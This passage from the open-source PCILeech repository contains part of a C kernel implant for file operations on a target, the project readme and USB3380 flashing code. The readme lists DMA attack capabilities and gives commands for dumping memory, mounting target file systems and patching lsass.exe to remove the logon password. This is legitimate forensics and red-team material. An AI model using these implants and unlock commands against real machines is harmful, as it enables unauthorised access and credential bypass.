(PFILE_BOTH_DIR_INFORMATION)((QWORD)pdi + pdi->NextEntryOffset);\n\t\t}\n\t}\ncleanup:\n\tpk->dataOutExtraLength = cfi * sizeof(VFS_RESULT_FILEINFO);\n\tif(hFileFind) { fnk->ZwClose(hFileFind); }\n\treturn cfi ? 0 : nt;\n}\n\nNTSTATUS VfsCreate(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tNTSTATUS nt = 0;\n\tHANDLE hFile = 0;\n\tUNICODE_STRING _su;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tfnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlInitUnicodeString(&_su, pop->wszFileName);\n\tInitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\tnt = fnk->ZwCreateFile(&hFile, GENERIC_READ, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, 3/*FILE_OPEN_IF*/, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);\n\tif(hFile) { fnk->ZwClose(hFile); }\n\treturn nt;\n}\n\nNTSTATUS VfsDelete(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tNTSTATUS nt = 0;\n\tHANDLE hFile = 0;\n\tUNICODE_STRING _su;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tfnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlInitUnicodeString(&_su, pop->wszFileName);\n\tInitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\tnt = fnk->ZwCreateFile(&hFile, GENERIC_WRITE, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE, FILE_OPEN, 0x00001000/*FILE_DELETE_ON_CLOSE*/, NULL, 0);\n\tif(hFile) { fnk->ZwClose(hFile); }\n\treturn nt;\n}\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tKERNEL_FUNCTIONS ofnk;\n\tPKERNEL_FUNCTIONS fnk;\n\tPVFS_OPERATION pop;\n\t// initialize kernel functions and strings\n\tInitializeKernelFunctions(pk->AddrKernelBase, &ofnk);\n\tfnk = &ofnk;\n\t// setup references to in/out data and check validity\n\tpop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);\n\tif((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC)) {\n\t\tpk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;\n\t\treturn;\n\t}\n\t// take action\n\tif(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {\n\t\tpk->dataOut[0] = VfsList(pk, fnk, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_READ) {\n\t\tpk->dataOut[0] = VfsRead(pk, fnk, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_WRITE) {\n\t\tpk->dataOut[0] = VfsWrite(pk, fnk, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_CREATE) {\n\t\tpk->dataOut[0] = VfsCreate(pk, fnk, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_DELETE) {\n\t\tpk->dataOut[0] = VfsDelete(pk, fnk, pop);\n\t\treturn;\n\t}\n}\n"
  },
  {
    "path": "readme.md",
    "content": "PCILeech Summary:\n=================\nPCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. \n\n<b>PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the LeechCore library - including capture of remote live memory using DumpIt or WinPmem. PCILeech also supports local capture of memory and a number of memory dump file formats.</b>\n\nPCILeech supports multiple memory acquisition devices. Both hardware and software based. USB3380 based hardware is only able to read 4GB of memory natively, but is able to read all memory if a kernel module (KMD) is first inserted into the target system kernel. FPGA based hardware, and software based methods, are able to read all memory.\n\nPCILeech is capable of inserting a wide range of kernel implants into the targeted kernels - allowing for easy access to live ram and the file system via a \"mounted drive\". It is also possible to remove the logon password requirement, loading unsigned drivers, executing code and spawn system shells. PCIleech runs on Windows and Linux. Supported target systems are currently the x64 versions of: UEFI, Linux, FreeBSD and Windows. This requires write access to memory (USB3380 hardware, FPGA hardware, LiveCloudKd or CVE-2018-1038 \"Total Meltdown\").\n\n<b>To get going clone the sources in the repository or download the latest [binaries, modules and configuration files](https://github.com/ufrisk/pcileech/releases/latest).</b>\n\nThe [PushPin GUI frontend](https://github.com/LuckyPi/PushPin) for PCILeech makes common RedTeam tasks super easy. Note that PushPin is not part of the official PCILeech distribution.\n\n<img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_mbp.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_m2.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_shadow.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_dump.gif\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/ab5032dac2600acf1480d81ac265b66fecaaa9b2/_gh_ac701_pcileech_main.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/d2ff68ce273b3bb2712d2e07555c910b3c3ec65f/_gh_pciescreamer_pcileech_main_150.png\" height=\"150\"/><img src=\"https://raw.githubusercontent.com/LuckyPi/PushPin/master/pushpin_description.PNG\" height=\"150\"/>\n\n\nCapabilities:\n=============\n* Retrieve memory from the target system at >150MB/s.\n* Retrieve remote memory from remote LeechService.\n* Write data to the target system memory. \n* 4GB memory can be accessed in native DMA mode (USB3380 hardware).\n* ALL memory can be accessed in native DMA mode (FPGA hardware).\n* ALL memory can be accessed if kernel module (KMD) is loaded.\n* Raw PCIe TLP access (FPGA hardware).\n* Mount live RAM as file [Linux, Windows, macOS Sierra*].\n* Mount file system as drive [Linux, Windows, macOS Sierra*].\n* Execute kernel code on the target system.\n* Spawn system shell and other executables [Windows].\n* Pull and Push files [Linux, FreeBSD, Windows, macOS Sierra*].\n* Patch / Unlock (remove password requirement) [Windows, macOS Sierra*].\n* Easy to create own kernel shellcode and/or custom signatures.\n* Connect to a remote LeechAgent over the network to remotely:\n   * Dump physical memory over the network.\n   * Execute Python memory analysis scripts on the remote host.\n* Even more features not listed here ...\n\n\\*) macOS High Sierra and above are not supported.\n\nMemory Acquisition Methods:\n===========================\nPCILeech supports both hardware based and software based memory acqusition methods. All memory acqusition is handled by the [LeechCore](https://github.com/ufrisk/LeechCore) library.\n\n### Hardware based memory aqusition methods:\n\nPlease find a summary of the supported hardware based memory acquisition methods listed below. All hardware based memory acquisition methods are supported on both Windows and Linux. The FPGA based methods however sports a slight performance penalty on Linux and will max out at approx: 90MB/s compared to 150MB/s on Windows.\n\n| Device                                                                                     | Type | Interface | Speed | 64-bit memory access | PCIe TLP access | Project<br>Sponsor |\n| -------------------------------------------------------------------------------------------| ---- | --------- | ----- | -------------------- | --------------- | ------------------ |\n| [ZDMA](https://github.com/ufrisk/pcileech-fpga-dev/blob/master/ZDMA)                       | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)   | Thunderbolt3 | 1000MB/s | Yes | Yes | 💖 |\n| [GBOX](https://github.com/ufrisk/pcileech-fpga-dev/blob/master/GBOX)                       | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)        | OCuLink |  400MB/s | Yes | Yes | 💖 |\n| [LeetDMA](https://github.com/ufrisk/pcileech-fpga)                                         | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)          | USB-C | 190MB/s  | Yes | Yes | 💖 |\n| [CaptainDMA M2](https://github.com/ufrisk/pcileech-fpga)                                   | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)          | USB-C | 190MB/s  | Yes | Yes | 💖 |\n| [CaptainDMA 4.1th](https://github.com/ufrisk/pcileech-fpga)                                | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)          | USB-C | 190MB/s  | Yes | Yes | 💖 |\n| [CaptainDMA 75T](https://github.com/ufrisk/pcileech-fpga)                                  | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)          | USB-C | 200MB/s  | Yes | Yes | 💖 |\n| [CaptainDMA 100T](https://github.com/ufrisk/pcileech-fpga)                                 | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)          | USB-C | 220MB/s  | Yes | Yes | 💖 |\n| [AC701/FT601](https://github.com/ufrisk/pcileech-fpga/tree/master/ac701_ft601)             | [FPGA](https://github.com/ufrisk/LeechCore/wiki/Device_FPGA)          | USB3  | 190MB/s  | Yes | Yes |    |\n| USB3380-EVB                                                                                | [USB3380](https://github.com/ufrisk/LeechCore/wiki/Device_USB3380)    | USB3  | 150MB/s  | No  | No  |    |\n| DMA patched HP iLO                                                                         | [BMC](https://github.com/ufrisk/LeechCore/wiki/Device_RawTCP)         | TCP   |  1MB/s   | Yes | No  |    |\n\n### Software based memory aqusition methods:\n\nPlease find a summary of the supported software based memory acquisition methods listed below. Please note that the LeechService only provides a network connection to a remote LeechCore library. It's possible to use both hardware and software based memory acquisition once connected.\n\n| Device                     | Type             | Volatile | Write | Linux Support | Plugin |\n| -------------------------- | ---------------- | -------- | ----- | ------------- | ------ |\n| [RAW physical memory dump](https://github.com/ufrisk/LeechCore/wiki/Device_File)         | File             | No  | No  | Yes | No  |\n| [Full Microsoft Crash Dump](https://github.com/ufrisk/LeechCore/wiki/Device_File)        | File             | No  | No  | Yes | No  |\n| [Full ELF Core Dump](https://github.com/ufrisk/LeechCore/wiki/Device_File)               | File             | No  | No  | Yes | No  |\n| [VMware](https://github.com/ufrisk/LeechCore/wiki/Device_VMWare)                         | Live&nbsp;Memory | Yes | Yes | No  | No  |\n| [VMware memory save file](https://github.com/ufrisk/LeechCore/wiki/Device_File)          | File             | No  | No  | Yes | No  |\n| [TotalMeltdown](https://github.com/ufrisk/LeechCore/wiki/Device_Totalmeltdown)           | CVE-2018-1038    | Yes | Yes | No  | No  |\n| [DumpIt /LIVEKD](https://github.com/ufrisk/LeechCore/wiki/Device_DumpIt)                 | Live&nbsp;Memory | Yes | No  | No  | No  |\n| [WinPMEM](https://github.com/ufrisk/LeechCore/wiki/Device_WinPMEM)                       | Live&nbsp;Memory | Yes | No  | No  | No  |\n| [LiveKd](https://github.com/ufrisk/LeechCore/wiki/Device_LiveKd)                         | Live&nbsp;Memory | Yes | No  | No  | No  |\n| [LiveCloudKd](https://github.com/ufrisk/LeechCore/wiki/Device_LiveCloudKd)               | Live&nbsp;Memory | Yes | Yes | No  | Yes |\n| [Hyper-V Saved State](https://github.com/ufrisk/LeechCore/wiki/Device_HyperV_SavedState) | File             | No  | No  | No  | Yes |\n| [LeechAgent*](https://github.com/ufrisk/LeechCore/wiki/Device_Remote)                    | Remote           |     |     | No  | No  |\n\nInstalling PCILeech:\n====================\nPlease ensure you do have the most recent version of PCILeech by visiting the PCILeech github repository at: https://github.com/ufrisk/pcileech\n\n<b>Get the latest [binaries, modules and configuration files](https://github.com/ufrisk/pcileech/releases/latest) from the latest release.</b> Alternatively clone the repository and build from source.\n\n#### Windows:\n\nPlease see the [PCILeech on Windows](https://github.com/ufrisk/pcileech/wiki/PCILeech-on-Windows) guide for information about running PCILeech on Windows.\n\nThe Google Android USB driver have to be installed if USB3380 hardware is used. Download the Google Android USB driver from: http://developer.android.com/sdk/win-usb.html#download Unzip the driver.<br>\nFTDI drivers have to be installed if FPGA is used with FT601 USB3 addon card or PCIeScreamer. Download the 64-bit [`FTD3XX.dll`](https://ftdichip.com/wp-content/uploads/2023/11/FTD3XXLibrary_v1.3.0.8.zip) from FTDI and place it alongside `pcileech.exe`.<br>\nTo mount live ram and target file system as drive in Windows the Dokany2 file system library must be installed. Please download and install the latest stable version of Dokany2 at: https://github.com/dokan-dev/dokany/releases/latest\n\n#### Linux:\nPlease see the [PCILeech on Linux](https://github.com/ufrisk/pcileech/wiki/PCILeech-on-Linux) guide for information about running PCILeech on Linux.\n\nExamples:\n=========\n\nPlease see the [project wiki pages](https://github.com/ufrisk/pcileech/wiki/) for more examples. The wiki is in a buildup phase and information may still be missing.\n\nMount target system live RAM and file system, requires that a KMD is loaded. In this example 0x11abc000 is used.\n* ` pcileech.exe mount -kmd 0x11abc000 `\n\nShow help for a specific kernel implant, in this case lx64_filepull kernel implant.\n* ` pcileech.exe lx64_filepull -help `\n\nShow help for the dump command.\n* ` pcileech.exe dump -help `\n\nDump all memory from the target system given that a kernel module is loaded at address: 0x7fffe000.\n* ` pcileech.exe dump -kmd 0x7fffe000 `\n\nForce dump memory below 4GB including accessible memory mapped devices using more stable USB2 approach on USB3380.\n* ` pcileech.exe dump -force -device usb3380://usb=2 `\n\nReceive PCIe TLPs (Transaction Layer Packets) and print them on screen (correctly configured FPGA dev board required).\n* ` pcileech.exe tlp -vv -wait 1000 `\n\nProbe/Enumerate the memory of the target system for readable memory pages and maximum memory. (FPGA hardware only).\n* ` pcileech.exe probe `\n\nDump all memory between addresses min and max, don't stop on failed pages. Native access to 64-bit memory is only supported on FPGA hardware.\n* ` pcileech.exe dump -min 0x0 -max 0x21e5fffff -force `\n\nDump all memory, try locate the memory map from the target system registry to avoid dumping potentially invalid memory which may freeze the target.\n* ` pcileech.exe dump -memmap auto `\n\nForce the usage of a specific device (instead of default auto detecting it). The pmem device is not auto detected.\n* ` pcileech.exe pagedisplay -min 0x1000 -device pmem `\n\nDump remote memory from a remote LeechAgent using connection encrypted and mutually authenticated by kerberos.\n* ` pcileech.exe dump -device pmem -remote rpc://computer$@ad.contoso.com `\n\nExecute the Python analysis script `find-rwx.py` on a remote computer using the LeechAgent embedded Python environment.\n* ` pcileech.exe agent-execpy -in find-rwx.py -device pmem -remote rpc://computer$@ad.contoso.com `\n\nPatch virtual process memory of pid 432 (lsass.exe in this example).\n* ` pcileech.exe patch -pid 432 -sig unlock_win10x64.sig `\n\nLimitations/Known Issues:\n=========================\n* Does not work if the OS uses the IOMMU/VT-d. This is the default on macOS (unless disabled in recovery mode). Windows 10/11 with Virtualization based security features enabled does not work fully.\n* Recent Windows and Linux versions block DMA by default.\n\n\n\nPCILeech and MemProcFS community:\n=========\nFind all this a bit overwhelming? Or just want to ask a quick question? Join the PCILeech and MemProcFS DMA community server at Discord!\n\n<a href=\"https://discord.gg/pcileech\"><img src=\"https://discord.com/api/guilds/1155439643395883128/widget.png?style=banner3\"/></a>\n\n\n\nBuilding:\n=========\nThe binaries are found in the [releases section](https://github.com/ufrisk/pcileech/releases/latest) of this repository. If one wish to build an own version it is possible to do so. Please see the [PCILeech on Windows](https://github.com/ufrisk/pcileech/wiki/PCILeech-on-Windows) or [PCILeech on Linux](https://github.com/ufrisk/pcileech/wiki/PCILeech-on-Linux) for more information about building PCILeech. PCILeech is also dependant on LeechCore and optionally (for some extra functionality) on The Memory Process File System which must both be built separately.\n\nContributing:\n=============\nPCILeech, MemProcFS and LeechCore are open source but not open contribution. PCILeech, MemProcFS and LeechCore offers a highly flexible plugin architecture that will allow for contributions in the form of plugins. If you wish to make a contribution, other than a plugin, to the core projects please contact me before starting to develop.\n\nLinks:\n======\n* Twitter: [![Twitter](https://img.shields.io/twitter/follow/UlfFrisk?label=UlfFrisk&style=social)](https://twitter.com/intent/follow?screen_name=UlfFrisk)\n* Discord: [![Discord - PCILeech/MemProcFS](https://img.shields.io/discord/1155439643395883128.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/pcileech)\n* PCILeech: https://github.com/ufrisk/pcileech\n* PCILeech FPGA: https://github.com/ufrisk/pcileech-fpga\n* LeechCore: https://github.com/ufrisk/LeechCore\n* MemProcFS: https://github.com/ufrisk/MemProcFS\n* Blog: http://blog.frizk.net\n* PushPin: GUI for PCILeech: https://github.com/LuckyPi/PushPin\n\nChangelog:\n==========\n<details><summary>Previous releases (click to expand):</summary>\n\nv1.0-v3.6\n* Initial release and various updates. please see individual relases for more information.\n\nv4.0\n* Major cleanup and internal refactorings.\n* FPGA max memory auto-detect and more stable dumping strategy.\n* New stable Windows 10 kernel injects with FPGA hardware on non-virtualization based security systems.\n* User mode injects (experimental).\n* Removal of built-in device support - the [LeechCore](https://github.com/ufrisk/LeechCore) `leechcore.dll`/`leechcore.so` library is now used instead. New devices include:\n  * Memory dump files (raw linear dump files and microsoft crash dump files).\n  * Hyper-V save files.\n  * Live memory via DumpIt / WinPmem.\n  * remote devices via -remote setting.\n* Removal of API and built-in _Memory Process File System_ - please use the more capable APIs in the [LeechCore](https://github.com/ufrisk/LeechCore) and [Memory Process File System](https://github.com/ufrisk/MemProcFS) instead.\n* Multiple other changes and syntax updates.\n\nv4.1\n* LeechAgent support - remote memory acquisition and analysis.\n\n[v4.2](https://github.com/ufrisk/pcileech/releases/tag/v4.2)\n* Signature updates:\n  * Linux kernel module - LINUX_X64_48 (latest versions)\n  * Win10 1903 kernel module - WIN10_X64_2 (requires windows version of PCILeech)\n  \n[v4.3](https://github.com/ufrisk/pcileech/releases/tag/v4.3)\n* Bug fixes.\n* Support for new device (NeTV2 / RawUDP) via LeechCore library.\n\n[v4.4](https://github.com/ufrisk/pcileech/releases/tag/v4.4)\n* Bug fixes and stability improvements.\n* Support for MemProcFS v3 library.\n* Code signing of binaries.\n* \"tlploop\" command.\n\n[v4.5](https://github.com/ufrisk/pcileech/releases/tag/v4.5)\n* Bug fixes.\n* Support for v2 of the LeechCore memory acquisition library.\n* MemProcFS integration when running on Windows.\n* Support for user-defined physical memory map (-memmap option).\n\n[v4.6](https://github.com/ufrisk/pcileech/releases/tag/v4.6)\n* Support for [LiveCloudKd](https://github.com/ufrisk/LeechCore/wiki/Device_LiveCloudKd).\n\n[v4.7](https://github.com/ufrisk/pcileech/releases/tag/v4.7)\n* Bug fixes.\n* WIN10_X64_3 new stable kernel signature for Windows 10 - including Win10 2004 release.\n* Unlock signature updates - Win10/Linux (NB! most recent kernels on Linux not yet supported).\n\n[v4.8](https://github.com/ufrisk/pcileech/releases/tag/v4.8)\n* Bug fixes.\n* Better support for recent x64 Linux kernels.\n\n[v4.9](https://github.com/ufrisk/pcileech/releases/tag/v4.9)\n* Bug fixes.\n* Signature updates.\n* Better support for recent x64 Linux kernels (Ubuntu 21.04).\n* Unmount of monted driver when CTRL+C pressed.\n  </details>\n\n[v4.10](https://github.com/ufrisk/pcileech/releases/tag/v4.10)\n* Linux support for Windows 10 built-in signatures (dependency on MemProcFS v4.0).\n* Separate releases for Windows and Linux.\n* General cleanup.\n\n[v4.11](https://github.com/ufrisk/pcileech/releases/tag/v4.11)\n* Support for VMWare Workstation/Player live VM memory.\n* Support for remote memory analysis with LeechAgent `agent-forensic` command.\n  * Runs MemProcFS forensic mode remotely.\n  * Retrieves ElasticSearch compatible JSON data.\n\n[v4.12](https://github.com/ufrisk/pcileech/releases/tag/v4.12)\n* 32-bit support (pcileech binary).\n\n[v4.13](https://github.com/ufrisk/pcileech/releases/tag/v4.13)\n* Bug fixes.\n* Mount improvements:\n  - Windows host file system support: Upgrade to [Dokany2](https://github.com/dokan-dev/dokany/releases) (NB! Dokany2 will have to be installed!).\n  - Linux host file system support: FUSE support added. <br/>Example: `./pcileech mount /home/user/fusemnt/leechfs -kmd <your_kmd_address>`\n  - Now possible to access other local drives than C: on Windows targets.\n* Visual Studio 2022 Support.\n\n[v4.14](https://github.com/ufrisk/pcileech/releases/tag/v4.14)\n* Process Virtual Memory support (Windows only).\n  - Commands: search, patch, write, display, pagedisplay\n  - Example:  pcileech patch -pid 732 -sig unlock_win10x64.sig\n\n[v4.15](https://github.com/ufrisk/pcileech/releases/tag/v4.15)\n* Support for MemProcFS v5.0\n\n[v4.16](https://github.com/ufrisk/pcileech/releases/tag/v4.16)\n* FPGA performance improvements.\n* Command `none` added.\n* Options `-bar-ro` and `-bar-rw` added.\n\n[v4.17](https://github.com/ufrisk/pcileech/releases/tag/v4.17)\n* I/O BAR support.\n* Linux improvements:\n  - KMD signature update (LINUX_X64_48) to support latest Ubuntu kernels.\n  - Update of kernel modules to support latest kernels.\n  - New KMD signature - LINUX_X64_MAP - specify target system kernel System.map in -in option.\n  - New kernel module: lx64_exec_root.\n* Linux PCIe FPGA performance improvements.\n\n[v4.18](https://github.com/ufrisk/pcileech/releases/tag/v4.18)\n* Benchmark command added.\n* Unlock signatures updated.\n* `-psname` option added.\n\n[v4.19](https://github.com/ufrisk/pcileech/releases/tag/v4.19)\n* Linux stability improvements and kernel module loading enhancements.\n* Linux clang compilation support.\n* macOS support.\n\nLatest:\n* Bug fixes.\n* Linux LeechAgent support using gRPC (LeechCore v2.21).\n* Add: `-no-kmd-mem` option to optionally disable KMD memory access when KMD is loaded (may be useful for stability reasons in some cases).\n* Add: `-kmd WIN11_X64` - Windows 11 KMD signature (alias for WIN10_X64_3).\n"
  },
  {
    "path": "usb3380.md",
    "content": "USB3380 Hardware:\n=================\nPCILeech uses PCIe hardware devices to read and write from the target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. Check out the [PCILeech](readme.md) project for general information.\n\nPCILeech supports multiple hardware. USB3380 based hardware is only able to read 4GB of memory natively, but is able to read all memory if a kernel module (KMD) is first inserted into the target system kernel. FPGA based hardware is able to read all memory.\n\n<img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_mbp.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_m2.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_shadow.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_dump.gif\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_mount.jpg\" height=\"150\"/><img src=\"https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/314e527e13e78edd44cc6db2b7c05cfa4a1ce322/_gh_android.jpg\" height=\"150\"/>\n\nPCILeech use the PLX Technologies USB3380 chip. The actual chip can be purchased for around $15, but it's more convenient to purchase a development board on which the chip is already mounted. Development boards can be purchased from BPlus Technology, or on eBay / Ali Express. Please note that adapters may be required too depending on your requirements. Please also note that the USB3380 is currently sold out.\n\nhttp://www.bplus.com.tw/PLX.html\n\nThe hardware confirmed working is:\n* USB3380-EVB mini-PCIe card.\n* PP3380-AB PCIe card.\n\nPlease note that the ExpressCard EC3380-AB is not working!\n\nPlease note that the USB3380-AB EVK-RC kit is not working!\n\nFlashing Hardware:\n==================\nIn order to turn the USB3380 development board into a PCILeech device it must be flashed. Flashing may be done in Windows 10 (as administrator) or in Linux (as root). The board must be connected to the system via PCIe when performing the initial flash.\n\nTo flash in Windows 10 unzip all contents of the ` flash.zip ` archive found in ` pcileech_files `. Run ` PCILeechFlash_Installer.exe `and follow the instructions.\n\nFlashing in 32-bit Windows or in Windows 7 is not supported.\n\nIf flashing fails or if Linux is preferred please see [pcileech_flash/linux](pcileech_flash/linux) for instructions.\n"
  },
  {
    "path": "usb3380_flash/linux/Makefile",
    "content": "obj-m += pcileech_flash.o\n\nall:\n\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules\n\nclean:\n\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean\n"
  },
  {
    "path": "usb3380_flash/linux/pcileech_flash.c",
    "content": "// pcileech_flash.c : Linux kernel module to flash the USB3380 into a PCILeech device.\n//\n// (c) Ulf Frisk, 2016. 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// Compiling:\n//  - In order to compile the required flash kernel module please go to the folder with\n//    this file and type make. GCC and kernel headers are required.  If successful read\n//    the usage section below.\n// Usage:\n//  - Insert PCILeech card in computer via PCIe/mPCIe/ExpressCard/Thunderbolt (not USB)\n//  - run 'insmod pcileech_flash.ko'.   If the module is successfully inserted then the\n//    flash operation was successful.   If flashing the USB3380-EVB device the blue LED\n//    will be lit upon success.  Run 'rmmod pcileech_flash' to clean up the module from\n//    the kernel.      In order to enable the PCILeech functionality the device must be\n//    removed from (re-inserted into) the computer.\n//  - If flashing fails; please check 'dmesg' for logs.  If you are flashing the PP3380\n//    please ensure that the J3 jumper is bridged.  If it fails for unknown reasons try\n//    rebooting and try again.\n// Warning:\n//    Flashing hardware may result in bricked hardware. The author of this module takes\n//    no responsiblity for this code. The code is provided as is. Use at your own risk.\n//\n\n#include <linux/module.h>\n#include <linux/kernel.h>\n#include <linux/init.h>\n#include <linux/pci.h>\n#include <linux/delay.h>\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Ulf Frisk\");\nMODULE_DESCRIPTION(\"PCILeech Firmware Automatic Flasher\");\n\n// -----------------------------------------------------------------------------\n// START SHARED CODE WITH WINDOWS/LINUX FLASH PCILEECH FIRMWARE\n// -----------------------------------------------------------------------------\n\n#define OFFSET_USBREG_GPIO\t\t\t0x50\n#define OFFSET_PCIREG_VEN_DEV\t\t0x1000\n#define OFFSET_PCIREG_SUBSYS\t\t0x102c\n#define OFFSET_PCIREG_EEPROM_CTL\t0x1260\n#define OFFSET_PCIREG_EEPROM_DATA\t0x1264\n#define DEVICE_WAIT_TIME\t\t\t10\n#define SET_LED(v)\t\t\t\t\t*(unsigned int*)(pbar0 + OFFSET_USBREG_GPIO) = (0x0000000f & v) | 0xf0\n\nstatic const unsigned char g_firmware_pcileech[] = {\n\t0x5a, 0x00, 0x2a, 0x00, 0x23, 0x10, 0x49, 0x38, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x14, 0xbc, 0x16,\n\t0xc8, 0x10, 0x02, 0x06, 0x04, 0x00, 0xd0, 0x10, 0x84, 0x06, 0x04, 0x00, 0xd8, 0x10, 0x86, 0x06,\n\t0x04, 0x00, 0xe0, 0x10, 0x88, 0x06, 0x04, 0x00, 0x21, 0x10, 0xd1, 0x18, 0x01, 0x90, 0x00, 0x00 };\n\nstatic int _action_flash_verify(unsigned char *pbar0)\n{\n\tunsigned int dwdata, dwaddr = 0;\n\twhile(dwaddr < sizeof(g_firmware_pcileech)) {\n\t\t// write to CTL register to start EEPROM read (and wait for device)\n\t\tdwdata = *(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL);\n\t\tdwdata = (0x00ff0000 & dwdata) | 0x00006000 | (dwaddr >> 2);\n\t\t*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL) = dwdata;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\tif(*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_DATA) != *(unsigned int*)(g_firmware_pcileech + dwaddr)) {\n\t\t\treturn -1;\n\t\t}\n\t\tdwaddr += 4;\n\t}\n\treturn 0;\n}\n\nstatic void _action_flash_write(unsigned char *pbar0)\n{\n\tunsigned int dwdata, dwaddr = 0;\n\twhile(dwaddr < sizeof(g_firmware_pcileech)) {\n\t\t// write enable latch (and wait for device)\n\t\t*(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 1) = 0xc0;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\t*(unsigned char*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL + 1) = 0x00;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\t// write EEPROM data\n\t\tdwdata = *(unsigned int*)(g_firmware_pcileech + dwaddr);\n\t\t*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_DATA) = dwdata;\n\t\t// write to CTL register to start EEPROM write (and wait for device)\n\t\tdwdata = *(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL);\n\t\tdwdata = (0x00ff0000 & dwdata) | 0x03004000 | (dwaddr >> 2);\n\t\t*(unsigned int*)(pbar0 + OFFSET_PCIREG_EEPROM_CTL) = dwdata;\n\t\tmsleep(DEVICE_WAIT_TIME);\n\t\t// next DWORD\n\t\tdwaddr += 4;\n\t}\n}\n\nstatic int _action_flash_writeverify(unsigned char *pbar0)\n{\n\t// 1: check if this is a valid device / memory range.\n\tif(*(unsigned int*)(pbar0 + 